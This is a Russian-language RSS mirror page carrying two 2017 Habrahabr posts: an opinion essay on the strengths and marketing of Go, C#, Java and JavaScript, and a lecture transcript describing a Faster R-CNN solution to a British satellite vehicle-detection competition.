-Поиск по дневнику

Поиск сообщений в rss_rss_hh_new

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 51

Habrahabr/New








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/new/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-new-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

[Из песочницы] Давайте поговорим про… Языки программирования и технологии

Воскресенье, 06 Августа 2017 г. 17:52 + в цитатник
КДПВ

Доброго времени суток %username%,
Давай поговорим про языки программирования.

Давай раз и на всегда выясним какой из них лучше?

Так какой язык лучше? Ответ прост: Никакой!

Все языки хороши, каждый приносит что-то свое в этот мир, у каждого свои взгляды и философия.
Как бы банально это не звучало, но это факт. Изучая все новые и новые языки разработчик развивается и познает что-то новое. Так сказать, постигает ДЗЕН.

Еще лет 5, а может и 10, назад были призывы к тому, чтобы разработчики не засиживались на одном конкретном языке, а пробовали все новые и новые языки и подходы. Чтобы не окостенеть мозгами и стать «рабом» конкретного языка/технологии, нужно изучать новое. Таков был совет тех дней.

Но сейчас тенденция поменялась. Сейчас в бой вступил маркетинг и очень много сил тратится, чтобы склонить мнение общественности на свою сторону.

Golang


Появились Гоферы, которые считают, что в их языке есть какие-то действительно новые и революционные вещи. Корутины в этом языке даже по-особому назвали: Горутины. И постоянно почему-то меряются длинной gc паузы с Java. Ребят вы серьезно?

Go – это отличный язык, но в нем из принципиально нового только две вещи: «должно быть как можно меньше ключевых слов» и «строгий кодстайл кода из коробки». Это действительно невероятно крутые идеи! Остальное – это маркетинг.

Горутины? В java это было еще в первых версиях, но ребята пошли дальше и все же заменили на «железные потоки».

В Java используют Runnable/Callable/ФоркДжоин таски, которые можно создавать тысячами и закидывать в Тредпулы/ФоркДжоин пулы, а общаться через Shared Queue, в результате получается практически тот же эффект, который называют горутинами и каналами.

Да, в Go это выглядит более изящно, но это не что-то принципиально новое. За короткими GC паузами же скрыты другие проблемы. В Go не был изобретен принципиально новый GC, там используется «стандартный» GC с поколениями со всеми вытекающими.

Golang – это действительно крутой язык, он продвигает классные идеи, но это не серебряная пуля и не панацея! Не нужно вестись на маркетинговый булщит.

C# или 1000 и 1 фича


C# очень крутой язык, и типизация есть и встроенный sql для запросов к коллекциям и не только, и паттерн-матчинг, и кортежи вот хотят ввести (или уже?).

Круто! Язык на столько выразительный, что одну и ту же вещь можно сделать минимум 5 разными способами. И он развивается в отличии от Java (классический вброс в сторону Java).

Но подождите, в C# уже наверно пару сотен фич и при этом язык и дальше пытаются наполнять новыми языковыми фичами, упуская из виду тот факт, что чем больше фич в языке, тем сложнее этот язык изучить начинающим специалистам.

Сейчас C# и .NET платформа живут за счет распространенности Windows, которая, к слову, падает с каждым годом. А интенсивный приток новых девелоперов идет за счет Unity3D движка, который позволяет делать игры (мечта каждого!, наверно) и за счет .NET Core, который обещает быть как Java, только лучше!

Но если в языке и дальше будут появляться все новые и новые языковые фичи, то начинающие специалисты будут избегать изучения этого языка. Стоит призадуматься, на нужна ли та или иная новая фича так сильно?

Java и Spring головного мозга


Java это не только ценный мех язык, но и самая распространенная платформа (jvm) под которую пишут на десятке языков. Практически все недостатки, которые приписывают Java, обычно относятся к старым версиям JVM или к старым JavaEE с их xml программированием.
Сейчас в Java (JVM) очень многое изменилось и это одна из самых быстрых платформ с умеренным аппетитом по ресурсам.

Но сейчас не об этом.

У самого языка не так много проблем, да, он выглядит устаревшим из-за того, что у него нету огромного обилия сахара и некоторые вещи выглядят громоздко, но это даже и хорошо: у начинающих не будет проблем с изучением языка, 2 недели хватит, чтобы узнать про большинство нюансов языка.

Но у Java, как платформы есть 2 огромных недостатка:

1. Огромное количество легаси кода (и индусы)
2. Spring головного мозга.

Если с первым все относительно понятно: за 20+ лет накопилось огромное количество кода и некоторые системы, которые были написаны 15 лет назад до сих пор живут и стабильно работают, и их нужно поддерживать.

То со вторым нужно бороться. Spring – это замечательный фреймворк, который позволяет очень быстро сделать проект. Действительно невероятно быстро. В нем сейчас есть интеграция со всем, с чем только можно. Но к сожалению, есть огромное количество разработчиков, которые знают только Spring и толком ничего больше не знают. Эдакие Sinior Spring Developer. Они действительно круто все сделают на спринге, но к сожалению многие из них не могут мыслить за приделами спринга. И это очень печальный факт.

Ребята, пожалуйста, посмотрите на что-то еще, посмотрите, как можно сделать то, что вы делаете на спринге, но без него. Это даст вам огромный буст развития.

Javascript


Это один из самых популярных языков на данный момент, этот язык развивается на столько быстро, что проект, который начался с самой модной технологией к моменту сдачи становится «легаси».

Маркетинг этого языка гласит: Все должно быть написано/переписано на JS. Даже невзирая на то, что JS комьюнити вечно разделено на десяток лагерей, все они считают, что во главе IT должен стоять JS.

Я согласен с JS комьюнити, у них отличная идея! В свое время Java шла по тому же пути.
Но есть один огромный недостаток – в JS мире царит Анархия и Хаос. Разработчики из года в год переписывают один и тот же проект на «модный в этом году» фреймворк. В большинстве случаев, даже не успевают изучить все возможности фреймворка, как его уже нужно выкидывать.

Но это не так плохо, в этом хаосе рождаются новые более интересные продукты. Тут плохо другое. Плохо то, что JS разработчики не хотят учить другие языки (не связанные с JS), т.к. бешеный темп развития самого JS не сак просто дается, не то, чтобы учить еще и другие языки. Хотя, многим было бы полезно посмотреть на что-то за приделами JS мира.

JS комьюнити было бы полезно поучиться постулатам Python, в частности про то, что все должно быть явным. Еще было бы не плохо еще перенять опыт ребят из Ruby on Rails, которые с каждым новым релизом вбивают все больше гвоздей в гроб своего фреймворка (скоро этот гроб станет Железной Девой для RoR разработчиков).

Отдельно стоит отметить, что JS комьюнити бы не плохо взглянуть и на путь Java с его строгим следованием «обратной совместимости», т.к. проект не должен ломаться из-за того, что какая-то зависимость изменила версию с 4.0.2 -> 4.0.3, что бывает довольно часто.

Чтобы на JS можно было писать вообще все, нужно чтобы в JS появилось понятие скучной и унылой стабильности!

В завершении хотелось бы сказать: В каждом языке, в каждой технологии есть свои плюсы и минусы. Ребят, «Давайте жить дружно!» (с) и учиться друг у друга. Нет нужды кидать друг в друга /отходами жизнедеятельности человека/ и меряться латенси (ну или throughput). Давайте снова продвигать идею того, что нужно учить разные языки, а не зацикливаться на одном. Это приведет к взаимопониманию и всеобщему развитию.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335004/


Метки:  

Лекция Владимира Игловикова на тренировке Яндекса по машинному обучению

Воскресенье, 06 Августа 2017 г. 17:18 + в цитатник
Скорее всего, вы слышали об авторе этой лекции. Владимир ternaus Игловиков занял второе место в британском Data Science Challenge, но организаторы конкурса не стали выплачивать ему денежный приз из-за его российского гражданства. Затем наши коллеги из Mail.Ru Group взяли выплату приза на себя, а Владимир, в свою очередь, попросил перечислить деньги в Российский Научный Фонд. История получила широкий охват в СМИ.

Спустя несколько недель Владимир выступил на одной из тренировок Яндекса по машинному обучению. Он рассказал о своём подходе к участию в конкурсах, о сути Data Science Challenge и о решении, которое позволило ему занять второе место.




— Меня зовут Владимир Игловиков. Мне очень нравится, как у вас все организовано. Гораздо лучше, чем на тех митапах в Долине, где я задвигал речи.

Сегодня мы поговорим об этом конкурсе, который был, с одной стороны, наиболее простым за последние много месяцев с точки зрения сложности порога вхождения. Но с другой стороны, он так смешно разошелся по новостям, что я еще долго буду от этого оправляться.

Историческая справка. На Kaggle с декабря по март проходило соревнование про спутники, которое было хорошо известно в Slack-канале Open Data Science. Мы всем коллективом его решали и достаточно хорошо выступили. Из первых десяти мест пять были заняты людьми, которые, как минимум, зарегистрированы в ODS. Второе место заняла команда Романа Соловьева и Артура Кузина, они попилили 30 штук баксов под это дело. А на третьем месте — мы с Серегой Мушинским, наш приз тоже был нормальный.



Задача достаточно интересная. Красивые картинки, интересные задачи, можно подтянуть под какой-то продукт. С ребятами контактировали различные компании, предлагали какой-то консалтинг, не консалтинг — чтобы они их знания применяли к другим картографическим задачам. Была интересная задача, и мы под это дело добавили немного пиара.

Были написаны посты — два поста на Хабре, мой и Артура. Я таки закончил и опубликовал пост на Kaggle в основном блоге, Артур до сих пор ленится. Артур прочитал речь здесь, и я две или три речи задвинул где-то в Долине. Под это дело мы опубликуем научную статью на следующей неделе, она на стадии полировки.

Организатором была британская разведка MI6, MI5 и лаборатория Defence Laboratory при Министерстве обороны. Они под это дело умудрились выбить со своего правительства достаточно большие деньги, полмиллиона долларов. В Долине это вообще ни о чем, и компания может себе это позволить, но интересно, что ученые при правительстве могли достать такие деньги даже в Британии.

Они выбили 465 штук баксов. Из них 100 пошло на призы, а остальные 365 были, в общем, освоены Kaggle за поддержку соревнования, за платформу, хостинг и т. д. Нормальный там маржинг. И организаторы в результате получили решение в том формате, который предоставляет Kaggle: куча кода и два скрипта, train и predict, а внутри куча всякой вермишели, непонятно что. Когда мы им это все презентовали, они достаточно сильно плыли в нашем решении. Не факт, что у них просто знаний и навыков хватает с этим что-то сделать. По факту они фиганули полмиллиона долларов, получили интересное решение, кучу красивых картинок, и непонятно, что с этим делать. Но сама идея им понравилась. И вообще британские ученые сейчас очень активно работают в этом отношении. Мне нравится, что они делают лучше, чем Минобороны России, США и всех остальных стран. У них много данных, много интересных задач. Правда, у них денег не очень много и они пытаются как-то пиариться и привлекать дата-саентистов.

Они нашли еще немного денег… ну, не так много. И нашли подрядчика, который запилил им копию Kaggle. Собрали каких-то данных, подготовили, почистили и сделали еще два соревнования, прямо по окончании той задачи на Kaggle про спутники. Одно было computer vision, про него чуть позже, а другое — natural language processing. Кто-то из наших участвовал, но в тройку не вошел. Но тоже говорят, что интересно. Черт его знает.

Британцы же на своей волне, тем более подрядчик к соревнованиям, к data science имеет достаточно ортогональное отношение. И они там начали чудить. Потом поговорю про метрику и про то, как они делили private и public, — что было достаточно смешно, и надо было бы этим воспользоваться, если бы мы заранее знали.

Из-за чего весь шум по новостям и как все это получилось? Правила у них написаны очень хитро: участвовать могут все, но если ты уходишь в топ на денежный приз — а в каждом соревновании денежный приз составлял 40 тыс. фунтов — то на него могли претендовать только люди определенных категорий. В общем, не все. И они сделали хитрые манипуляции на тему паспорта, места проживания, банка и т. д. Несмотря на то, что я резидент США, живу в Сан-Франциско, плачу налоги там, не спонсирую российское правительство и кого бы то ни было даже через уплату налогов, все равно мне приз не положен чисто по цвету паспорта. С другой стороны, это не такие большие деньги для меня были, все не так страшно. Зато хоть история получилась интересная, буду внукам рассказывать.

Когда мы презентовали решение задачи про спутники, которая шла зимой, мы спросили организаторов, какого лешего и доколе такая дискриминация будет твориться? Там достаточно адекватный мужик, ученый, он сказал, что это подрядчик что-то мутит, на самом деле все будет по-другому, все исправим, все будет замечательно. Так не случилось, но тем не менее.



Теперь о самой проблеме. У Kaggle в последний год то data leak, то один, то пять, то еще какая-то муть с данными, то train и test разные. В общем, куча всякой экзотики. Это задалбывает. Когда ты приходишь домой по вечерам, ты не хочешь заниматься всей этой нездоровой инженерией, а хочешь, как белый человек, стакать XGBoost или тренировать сети, что-то такое.

И вот британцы подготовили достаточно чистые данные. Там были вопросы к разметке, но совсем незначительные. Мы имеем 1200 спутниковых снимков, каждый сделан с высоты примерно 100 метров, думаю, чисто визуально. Каждый пиксель соответствует 5 см, и нужно было сделать стандартную задачу object detection. У нас есть девять классов, и вот примеры из их документации: мотоцикл, белая длинная машина и белая короткая машина. Сеть действительно путалась. Короткий хетчбэк или длинный хетчбэк — были вопросы к этому. Белый седан, хетчбэк, черный седан, хетчбэк, красный седан, хетчбэк, белый фургон и красно-белый автобус.

Реально по улицам еще ездят синие, желтые машинки и все остальные. Их надо было игнорировать. Почему они выбрали эти — кто их знает. В общем, надо найти машинки, но не все, а только определенные, и разбить их по классам. Плюс давайте добавим мотоциклы. Хорошо хоть не велосипеды и не самокаты. По сравнению с машиной — несмотря на то, что она 5 см на пиксель — мотоцикл достаточно шумный. Даже здесь он выглядит как некое немного расплывчатое пятно. Сама задача — стандартный object detection.



Любая задача классификации, любая презентация не обходится без картинки, которая показывает распределение классов. Это чтобы поговорить о том, что мы бы ушли в топ, но тут class inbalance, и он такой плохой, мы не смогли справиться, жизнь — печаль и все такое.

Здесь такого не было. Да, видно, что каких-то классов совсем мало — гораздо меньше, чем всех остальных. Например, крайний правый класс — автобус, или крайний левый класс — мотоциклы. Но это была не проблема, просто потому что мотоциклы от машин отличаются сильно и автобусы от всего остального отличаются сильно. И несмотря на то, что их мало, они настолько яркий класс, что с их детекцией проблем не было.

А во всяких этих белых хетчбэках и всем остальном действительно путались.



Как данные были предоставлены? Понятно, что можно маркировать данные по-разному. У нас спутниковые снимки или другие изображения, и нужно отметить машинки, ну или собачек, кошек… Можно обводить bounding boxes, целиком область, в которую входит данный объект, или просто мышкой ткнуть на точку и сказать, что это наш объект.

Применяются оба метода, и даже недавно была статья от Google, в которой они на десяти страницах размусоливали, не как новую сеть построить, а как правильно тренировать индусов, чтобы маркировать объекты, тыкая точечками так, чтобы потом восстанавливать bounding boxes, и как это все красиво. Статья довольно достойная. Правда, не очень понятно, что с ней делать, если нет специально обученных индусов.

Много статей про то, как работать и с bounding boxes, и с точками. В принципе, когда вы предсказываете и классифицируете object detection через bounding box, точность выше просто потому, что надо предсказать координаты этого четырехугольника. Loss function более точная и привязанная к самим данным. А когда у вас точка, предсказывать центр действительно сложнее. Точка и есть точка. Но в данной задаче, как и в задаче про котиков, которая проходит сейчас на Kaggle, данные отмаркированы через точки.

На этой картинке по размеру одна четверть от больших снимков 200 на 200. Они нам дают изображение, где отмечены центры машин для 600 картинок, и надо было предсказать их для других 600.



Метрика. Понятно, что любая задача не имеет смысла, пока не придумана численная оценка точности модели. Потом пытаешься ее подгонять, оптимизировать, чтобы все было прекрасно.

Метрикой в данной задаче выступал Jaccard. Как он мерился? Есть точка, которую они отмаркировали, центр машин. Вы предсказываете центр машин. Если они достаточно близко друг к другу, рядом, и это зависит от разных классов из таблицы снизу, то это true positive. Если нет — false positive. Если вообще ни черта нет — false negative.

Все это суммируется без усреднения по классам. Каждый мотоцикл вносит столько же, сколько автобус, фургон и все остальное. И Jaccard, true positive на общий union.



Соревнований сейчас море. Даже по deep learning сейчас десять соревнований проходит. У всех призы, интересные задачи, одни котики или задача про шейки матки чего стоят, какие-то тропики в Амазонии — много всего интересного. И это на Kaggle, где нормальная платформа, комьюнити и все прекрасно. Да банальный ImageNet 2017 заканчивается через пару недель, а я еще даже код не начал писать.

Когда я открываю какое-то соревнование, первый вопрос — зачем мне это надо? Потому что убивать свои вечера, выходные или на работе не работать, а соревнования гонять — нужны причины. Часто в голове рисуется некий список плюсов и минусов. Если мне нравится, как он выглядит, причем минусов может быть больше, — я обычно участвую.

Про минусы. Почему не стоит участвовать? Потому что денег не будет. Я на Kaggle участвовал последние два года и никогда не думал про призовые деньги, потому что участвовать в соревновании из финансовых соображений — наивный оптимизм. Уйти в топ, да еще в деньги, реально тяжело. Там 3000 участников, все брутальные ребята, хорошо подготовлены, у них куча железа и они не работают. Реально тяжело.

После того, как на спутниковых снимках нам дали приз и мне понравилось, манера мышления как-то немного изменилась в более меркантильную сторону. Так что денег не будет по правилам. Это было известно заранее, несмотря на то, о чем они после этого рассказывали в новостях.

Каждое соревнование дает очень много знаний. Но в одиночку бодаться в новую область тяжело. Поэтому гораздо удобнее, когда вас 50 человек и каждый рассказывает, что у кого получилось. В таком режиме можно за месяц-два, ничего не понимая в данной задаче, подняться до эксперта достаточно высокого уровня. Нужен коллектив. Коллектива не было, потому что это не Kaggle, а ребята из Slack не горели желанием участвовать, просто потому что денег не будет и вообще правила дурацкие. Ну и лень всем было.

Многие из этих соревнований не просто дают знания. Предположим, кто-то из вас будет искать работу на Западе. Вы неожиданно выясните, что из тех людей, которые там есть, народа, знающего о Яндексе, ШАДе, МФТИ и всех остальных, — гораздо меньше, чем народа, знающего о существовании Kaggle. Поэтому имеет смысл с перспективой продавать это при приеме на работу. Насколько интересной может быть задача для каких-то людей, стартапов и т. п.? Понятно, что любая задача про спутниковые снимки будет интересна. Любая задача про медицинские изображения будет интересна. Постакать xgboost — под большим вопросом. Kaggle знают, а какую-то доморощенную британскую площадку никто не знает. И строчка в резюме, типа я взял площадку, о которой никто из вас не знает, и там я красавчик, поэтому возьмите меня к себе, — звучит не очень хорошо. Kaggle в этом отношении гораздо лучше.

А теперь список плюсов. Зачем все это нужно? Данные реально красивые, хорошо подготовленные. Задача интересная. В этой теме я ничего не соображал на момент начала соревнований, а значит, за месяц-два можно натаскаться до действительно профессионального и серьезного уровня. И нет проблем с валидацией, валидацию мы вообще не делали. Действительно, очень красивые данные — основная мотивация. Она в том, что можно на каких-то чистых данных натренировать что-то, что важно, интересно. Можно добавить скиллов в свой инструментарий.

Image detection. Тот же ImageNet, задача про котиков и все остальное. Много где используется image detection. Я последние полгода искал работу в Долине, и про классификацию изображений никто не спрашивает, потому что это просто и пошло. А вот про detection спрашивают все подряд, очень много всяких самодвижущихся машин и прочих интересных применений в бизнесе. Jни спрашивают: «Ты в этом что-то соображаешь?» — «Нет». И дальше разговор не шел. Этот вопрос чисто по знаниям надо было закрывать. И его задача тоже добавляла.

Данных здесь достаточно много, а не как обычно — 6 картинок на public, 26 на private, какой-то shuffle на leaderboard. Здесь такого не было. Достаточно много картинок и на train, и на test, и каждый класс достаточно хорошо представлен, все хорошо. Никаких data leak. Кто участвовал в Quora, где у них обсуждение на форуме шло в режиме: «А ты помнишь, в четвертом лике ты уже подкрутил параметр?» — «Не, я над пятым ликом работаю». Такого криминала там не было, что очень приятно.

И в каждом соревновании вы работаете, пишите какой-то код, потом он копипастится или переносится в другие задачи. было бы полезно натренироваться на этих британских машинках, а потом перенести всё на другие задачи, попытаться в них гордо въехать в топ. Пока не получилось, но я над этим работаю.



Вся эта болтология в итоге сведется к тому, что решение на полстраницы. Что мы имеем? Тренировочные данные были размечены через точечки. Есть достаточно много статей о том, как все это считать, crowd counting и все остальное. И вообще: поскольку для многих компаний гораздо дешевле нанять индусов, тыкающих мышкой в какие-то объекты, нежели заставить их правильно обводить, то и точность нужна повыше, и времени больше. Просто дороже. Британцы, видимо, тоже наняли индусов, те натыкали, получились точечки — см. картинку снизу.

Как с этим работать, сходу непонятно. Про это надо читать, писать какой-то код, но мне было лень, потому что я на всю задачу отвел себе месяц. В первые две недели из четырех я собирался с мыслями. За две недели до конца решил все-таки начать что-то делать. Изобретать уже времени не оставалось, да и не хотелось. А хотелось свести эту задачу к стандартной решенной классической задаче.

Я на работе убил два рабочих дня и перебил все эти точечки под bounding boxes. Прямо взял sloth и вручную перебил train set. Слева изначальные метки, справа те, что в конце. Особо внимательный увидит, что один bounding box я таки забыл обвести. Сейчас на Kaggle — да и везде — достаточно часто проходит трюк, когда добавляется дополнительная информация, дополнительные метки к тренировочным данным. И это позволяет гордо въехать в топ.



Google опубликовал достойную статью, последний выпуск был месяц назад. Там 11 авторов. Никакой новой архитектуры они не сделали, они реально воспользовались тем, что у Google много ресурсов, взяли много архитектур, чуть ли не сотню, написали под каждую код, прогнали через гугловские GPU, поставили много хороших экспериментов, собрали все в таблицу и опубликовали достаточно хорошую обзорную статью. Она объясняет, какие архитектуры чуть получше подходят для object detection, какие чуть похуже и чем можно пожертвовать.

На основе этой статьи сложилось впечатление, что лучшие по точности архитектуры — на основе Faster R-CNN, а по скорости — на SSD. Поэтому в продакшен пилят SSD, а для соревнований и так далее — Faster RCNN.



Есть два основных семейства. Faster R-CNN медленная, предсказания повыше в точности. И, что было очень важно для меня, мелкие объекты тоже достаточно аккуратно предсказывают. А вы видели, что мотоцикл на этих снимках еще надо было найти. То есть нужна была сетка, которая делает аккуратные предсказания и тренировку на малых объектах. SSD достаточно быстрая: предсказывает, тренируется. Но она менее точная, и с малыми объектами в силу нюансов архитектуры сети там реально все плохо. Поэтому я остановился на Faster R-CNN.



Вот сеть, архитектура выглядит вот так. Как вы видели, на этой картинке нужно найти все bounding boxes, а потом предсказать, какой класс в каждом из квадратиков там находится. Сеть работает примерно так. И она достаточно медленная — несмотря на то, что «Faster».

Сначала какие-то конволюционные слои на основе претренировочных сетей извлекают фичи. Потом одна ветвь предсказывает эти боксы. Потом идет классификация. Вот как интуитивно об этом думаешь — примерно так же тут все и происходит. Четыре loss-функции, все достаточно сложно, и с нуля писать код умаешься. Поэтому, естественно, никто этим не занимается.



Мы выбрали, какую сеть использовать. Сейчас достаточно много на рынке всяких фреймворков: TensorFlow, Theano, Keras, MXNet, Cafe, еще какой-то зоопарк. Их реально очень много, и надо подумать, какую выбрать, какая здесь зайдет.

До этого я использовал исключительно Keras с бэкендом от Theana или TensorFlow. У Keras прекрасный API, очень удобно, там можно много штук делать из коробки, код на GitHub достаточно чистый, если надо что-то подкрутить — все достаточно просто.

Я знал код, достаточно нормальная документация, и к тому моменту, после первой задачи, я купил себе два GPU. Хотелось уже быть модным, распараллелить, чтобы все было быстро, как у мужиков в статьях, а не как у нас у всех обычно. Но с Keras была проблема. Я запустил, сделал предсказание и на тот момент даже ушел в топ-10 по этой задаче. Но он медленный, как эстонская черепаха. То ли такой overhead на вычислениях, то ли TensorFlow сам по себе медленный, а Keras добавляет overhead. Ну и имплементация, видимо, тоже была не самой удачной.

В то же время Артур Кузин очень активно в Slack топит за MXNet — что он быстрый, хороший, параллелится, все там прекрасно. В основном из-за параллелизации и хотелось этим воспользоваться. Параллелизацию остальные участники Slack подтвердили и сказали, что параллелится реально мизинцем левой ноги из коробки, все прекрасно. Faster R-CNN медленный, но у меня два GPU, хочется одно компенсировать другим. Keras не подходит — так давайте попробуем MXNet.

Что с ним плохо. Там непонятно что происходит в коде. Написан он тоже какими-то инопланетянами. Зато достаточно быстрый фреймворк. И из тех двух недель, что я работал над задачей, первую неделю я разбирался, кто там чей брат, как скормить данные, что куда скомпилировать. Скомпилировать там надо постараться. В общем, куча всякой экзотики. Но к концу недели я разобрался, подбил еще пару мужиков в чатике, и мы начали пилить MXNet. И все сразу стало хорошо. С первой же попытки уходишь в топ-5, тебе сразу приятно и ты прощаешь MXNet все.



Само решение. Что было сделано? Берется MXNet, в нем, прям в самом репозитории, есть пример Faster R-CNN. Берется этот код, он сделан на примере (неразборчиво — прим. ред.), ты меняешь это на машинки. Затем взяли все спутниковые снимки, нужно было добавить батч-генератор, потому что снимки 2000 на 2000 в сеть просто так не скормишь. Надо их либо уменьшать, но тогда теряется информация и мотоцикл вообще будет не найти, либо резать на кусочки и скармливать сети.

В итоге я случайным образом вырезал из картинок куски 1000 на 1000. Потом все любят докапываться до моих D4 group augmentation. Что это такое? Кто знает математику и теорию групп, это группа симметрии квадрата. Грубо говоря, если у нас какой-то квадрат и мы его отразим вокруг центральной оси, вертикальной или горизонтальной, повернем на 90 градусов, то он в пространстве не изменится. И группа симметрий там как раз D4, 8 элементов. Если говорить на нормальном человеческом языке, это повороты на углы, кратные 90, отражение, да и всё.

Как тренировалась сеть? Берется картинка 2000 на 2000, из нее вырезается рандомный кусок 1000 на 1000, потом применяется отражение или поворот, ну и потом результат скармливается сети. Всё.

Мы все привыкли, что в классификации пролетают какие-то 90 картинок в секунду, 100, такие цифры. А здесь на двух GPU — 8. Он действительно достаточно медленный, поэтому Faster в продакшен надо прикручивать очень аккуратно.

Натренировали сеть. Как делать предсказания? Изначально 2000 на 2000 режутся на куски 1000 на 1000 с перехлестом. Опять же, можно поизвращаться и сделать такой фокус — предсказать, например, на кусочке машинки, а потом взять этот изначальный спутниковый снимок, как-то отразить, сделать предсказание и потом отразить обратно. По сути, мы предсказываем то же самое в первом и втором случае, но немножко по-разному. Можно считать это некой ансамблевую технику. И — алгоритм non-maximum suppression. По сути, если мы порезали картинку 2000 на 2000 на куски с перехлестом, то одна машинка может оказаться в различных кусках. Когда мы предсказываем, получается два предсказания одной и той же машинки. Это надо чистить — что и делает алгоритм non-maximum suppression. Если два bounding box пересекаются в предсказаниях, тот, у которого confidence повыше, остается, а остальное режется под ноль.

Короче, берутся картинки, режутся на кусочки, делается предсказание, собираются обратно. Это происходило на высоком уровне.

Всякие аугментации немного добрасывают, и именно это отделило меня по точности от других ребят в Slack, от Сергея Мушинского и Владислава Кассыма.

Про скорость предсказания. Люблю добавлять в статьях, насколько быстро все работает, потому что так можно оценить, насколько все перечисленные модели далеки от продакшена, от реальных продуктов, и что с этим всем делать. На двух GPU — у меня дома в десктопе стоит два Titan Pascal X — получается где-то 20 предсказаний, 20 картинок в секунду. Вот и все решение.



Когда все хорошо, говорить скучно. Давайте говорить о том, что не получается. Тут всякие автобусы друг к другу плотно натыканы, еще и под углами в правом нижнем углу. Зеленые bounding boxes — предсказания. Видно, что предсказаний гораздо меньше, чем автобусов. Выяснилось, да и остальные подтвердили, что когда надо предсказывать много объектов и они очень плотно упакованы, то сети как-то не хватает. Она что-то предсказывает, а что-то нет. Думаю, для людей, которые сейчас работают над задачей подсчета морских котиков на Kaggle, это будет особенно важно, потому что котики чуть ли не в три слоя друг на друге лежат. Понять, кто из них где, достаточно тяжело. Я зашел, попытался, но до топа мне еще далеко. Там такие фокусы не проходят, надо немного по-другому работать.

В ситуации close packed objects, когда объекты натыканы очень близко друг к другу, все идет не очень хорошо. Тут надо либо какие-то эвристики крутить, либо поворачивать, предсказывать и поворачивать обратно, черт его знает.



Вот, достаточно редкая ошибка, но он любил мне предсказывать вагоны поездов как автобусы. Сравните их чисто визуально. Они по размеру и по расцветке примерно одинаковые, и сеть я сильно не осуждаю. Но это потом резалось какими-то эвристиками. На верхней картинке квадратики, а рядом с ними цифры, показывающие уверенность. Она меряется от 0 до 100. Сеть вообще не стесняется: здесь на 100% уверен, здесь не очень — 99%. По факту так и было. Сеть была очень сильно уверена в предсказаниях и не лажала. Есть подозрение, что под эту задачу все работало на ура.



Был какой-то процент картинок, достаточно мало. Чтобы найти эти пять картинок, мне пришлось пролистать картинок 70–100 с предсказаниями. Да, он любил предсказывать какую-то ерунду как объекты. Красными квадратиками были отмечены мотоциклы. Их реально тяжело отмечать, просто потому что мало пикселей и мало фич можно извлекать. Слева сверху — угол здания, посередине — два рядом стоящих человека. Или больше. Может, чемодан кто-то из них держит. Сеть их может принять за мотоцикл. Справа — гараж какой-то, она его опознала как грузовик. Действительно, грузовики такого же цвета.

А снизу какой-то мусор, который был инкриминирован как красные машинки. Это, конечно, криминал. Такого, по идее, сеть не должна была делать, но я это списываю просто на то, что красных машинок было мало.



Тут я не успел, но можно было добавить много картинок. На предыдущих слайдах были скорее исключения, чем правила. Точность моей модели была где-то 0,85 из 100, и я ошибся на 1200 машинок, если оценивать в них

А когда я глазами смотрю, я не вижу 1200. Я вижу 20, или, если сильно себя заставлю, 50.

Проблема в том, что многие машины визуально не отличить, причем что мне, что сети, что, видимо, тем индусам, которые всё размечали. Банально серая машина в тени не отличается от какой-нибудь черной машины. Или та же самая машина, но на солнце, выглядит уже как светлая и белая. Где как и что отмечается — оно не обязательно будет связано с реальной жизнью.

Синие машины тоже доставляют. Если есть ярко-синяя машина, а такие были, то с ней все понятно, мы ее не детектим. А если какая-то черная с синеватым отливом? Там достаточно много было таких и непонятно, нужно ли их детектировать.

Всякие белые и длинные хетчбэки детектировались как фургоны, и прочее. Там были проблемы с разметкой, парень, занявший первое место, это отметил на форуме. Мы с ним пообщались немножко. Если бы разметка была повыше уровнем, наши модели, ничего не делая, показывали бы не мои 0,85 или его 0,87, а где-нибудь 0,95–0,97. То есть сети работали реально обалденно. Мы поражались, когда делали визуальную оценку. Может, там дерево и одни фары торчат да багажник — а он и машину находит, и класс определяет. Меня это удивило в лучшую сторону.



Вот табличка, которую я опубликовал в Facebook, когда британцы сказали, что по цвету паспорта денег не дадут. Она потом разошлась в новостях, где-то на «Вестях» вроде народ ее видел, еще где-то. Я эти передачи не смотрел, не знаю.

Здесь 10 участников, я второй, четвертый не будем говорить кто, хотя он назвал себя jane.ostin, ну и седьмое место — тоже наш парень из чата. Трое из десяти. Кайла все знают, легендарный альфа-гусь на Kaggle. Многие ребята из Kaggle тоже пришли сюда.

Британцы красавчики, что учудили здесь подсчет public и private. Все знают стандартные правила Kaggle: ты делаешь какой-то сабмит и тебе подсказывают оценку на private, а потом ты выбираешь два лучших сабмита, которые имеют право на жизнь. Потом соревнования оканчиваются, и по ним дается оценка того, насколько модель хороша в итоге. И только потом уже решается, кто победитель, а кто нет. Вам нужно в конце соревнования выбрать два лучших потенциальных сабмита.

Ребята, которые запиливали копию Kaggle, поняли, что должен быть private и public, разделили 33% на 66%. Они еще догадались, что public надо показывать по части public, а private — по части private. Но эту тему с двумя лучшими сабмитами они не поняли, и получилось, что public и private оценивались независимо. Можно думать, что на Kaggle надо указать два лучших сабмита, и они учитывались в private. Здесь учитывались все. И поэтому у парня на первом месте, который gbarbadillo, — у него 84 сабмита. Обычно на Kaggle нет никаких понтов, сабмить как можно больше, потому что ты же показываешь результат на public, но не на private. Здесь — нет, надо было сабмитить все подряд каждый день и по максимуму, просто потому что были шансы, что на private один из ваших рандомных сабмитов покажет чуть более удачный результат. Думаю, именно так он свои 0,87 и получил, потому что у нас разрыв где-то в 180 машинок, а 180 машинок я глазами не вижу. Наверное, модели у него получше были, раз он с б'oльшим энтузиазмом к этому подошел. Ну и факт, что он гораздо больше сабмитил все подряд, тоже ему помог.



Вот как это выглядит на картинке 2000 на 2000. Разного цвета боксы. Предсказания, судя по тому, что я глазами видел, верны. Вот так оно все и предсказывается. После этого для каждого бокса рассчитывается центр машинки, и результат уже идет в предсказание. Тут сеть тоже не стеснялась — 99, 100 и так далее, достаточно сложно. Машины тут где-то из-под дерева торчат, много интересных классов.



